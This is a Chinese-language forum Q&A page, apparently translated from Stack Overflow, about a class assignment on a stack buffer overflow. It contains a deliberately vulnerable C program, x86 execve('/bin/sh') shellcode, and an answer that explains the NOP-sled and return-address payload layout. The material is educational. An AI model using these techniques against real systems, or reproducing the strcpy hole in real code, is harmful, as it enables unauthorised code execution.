2010-10-05 25 views
5

我試圖找出這個問題,爲我的一個比賽科學類,我利用每一個資源,仍然有問題,如果有人可以提供一些見解,我會非常感激。故意緩衝區溢出漏洞利用程序

我有這個「目標」,我需要執行一個execve(「/ bin/sh」)緩衝區溢出攻擊。在buf [128]的溢出中,當執行不安全的命令strcpy時,返回到緩衝區的指針出現在系統期望找到返回地址的位置。

target.c

int bar(char *arg, char *out) 
{ 
strcpy(out,arg); 
return 0; 
} 

int foo(char *argv[]) 
{ 
char buf[128]; 
bar(argv[1], buf); 
} 

int main(int argc, char *argv[]) 
{ 
if (argc != 2) 
{ 
    fprintf(stderr, "target: argc != 2"); 
    exit(EXIT_FAILURE); 
} 
foo(argv); 
return 0; 
} 

exploit.c

#include "shellcode.h" 

#define TARGET "/tmp/target1" 

int main(void) 
{ 
    char *args[3]; 
    char *env[1]; 

    args[0] = TARGET; args[1] = "hi there"; args[2] = NULL; 
    env[0] = NULL; 

    if (0 > execve(TARGET, args, env)) 
    fprintf(stderr, "execve failed.\n"); 

    return 0; 
} 

shellcode.h

static char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

我明白我需要填寫的argv [1]超過128個字節,則128字節以上的字節是返回地址,應該指向緩衝區,以便執行內部的/ bin/sh。到目前爲止是否正確?有人可以提供下一步嗎?

非常感謝您的幫助。

+2

堆棧溢出和緩衝區溢出是兩個完全不同的東西。 – BoltClock 2010-10-05 03:29:32

+0

這是高度依賴於你的系統(編譯器,CPU等),你沒有打算指定任何。 – 2010-10-05 04:04:47

+0

我忍不住注意到你的shell代碼是[在這裏]找到的一個精確副本(http://insecure.org/stf/smashstack.html)。您應該仔細閱讀本文,瞭解正在發生的事情,以便您可以實現自己的目標。在大學抄襲是嚴重的事情。 – Paul 2010-10-05 04:05:45

回答

5

那麼,你想讓程序執行你的shellcode。它已經是機器形式,所以它已經準備好被系統執行。您已將其存儲在緩衝區中。所以,問題是「系統知道如何執行我的代碼?」更確切地說,「系統如何知道在哪裏尋找下一個要執行的代碼?」在這種情況下的答案是你正在談論的返回地址。

基本上,你是在正確的軌道上。你嘗試過執行代碼嗎?我在執行這種類型的攻擊時注意到的一件事是它不是一門精確的科學。有時,內存中還有其他一些你不希望存在的東西,所以你必須增加你添加到緩衝區中的字節數,以便正確地將返回地址與系統期望的地址對齊。

我不是安全專家,但我可以告訴你一些可能有所幫助的事情。一個是我通常包含一個'NOP Sled' - 本質上只是一系列0x90字節,除了在處理器上執行'NOP'指令之外,其他任何事情都不做任何事情。另一個訣竅是在緩衝區末尾重複返回地址,以便即使其中一個覆蓋堆棧中的返回地址,您也可以成功返回到您想要的位置。

所以,你的緩衝區將是這樣的:

| NOP SLED | SHELLCODE |重複返回地址| (注:這些不是我的想法,我從黑客手中獲得了這些:Jon Erickson的「剝削的藝術」,如果您有興趣瞭解更多信息,我建議您閱讀本書)。

要計算的地址,你可以使用類似於下面的內容:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer 

int main(int argc, char *argv[]) 
{ 
    int i, offset; 
    long esp, ret, *addr_ptr; 
    char* buffer; 

    offset = 0; 
    esp = sp(); 
    ret = esp - offset; 
} 

現在,RET將舉行要返回到返回地址,假設你分配緩衝區是在堆上。

+0

非常好解釋,非常感謝您花時間幫忙。 – CRO 2010-10-05 04:21:39

+0

我曾經是一名CSCI學生。我知道學習緩衝區溢出非常困難 - 當我參加計算機體系結構的第一門本科課程時,我實際上得到了類似的幫助。 :)只是希望我能幫上忙。 – jwir3 2010-10-05 04:29:33

+0

Altoe Jon Erickson的書很棒,我會推薦「The Shellcoders Handbook」。恕我直言,它更先進,它假定你已經知道一些東西(asm,C,OS的細節..) – jyz 2010-11-08 15:47:45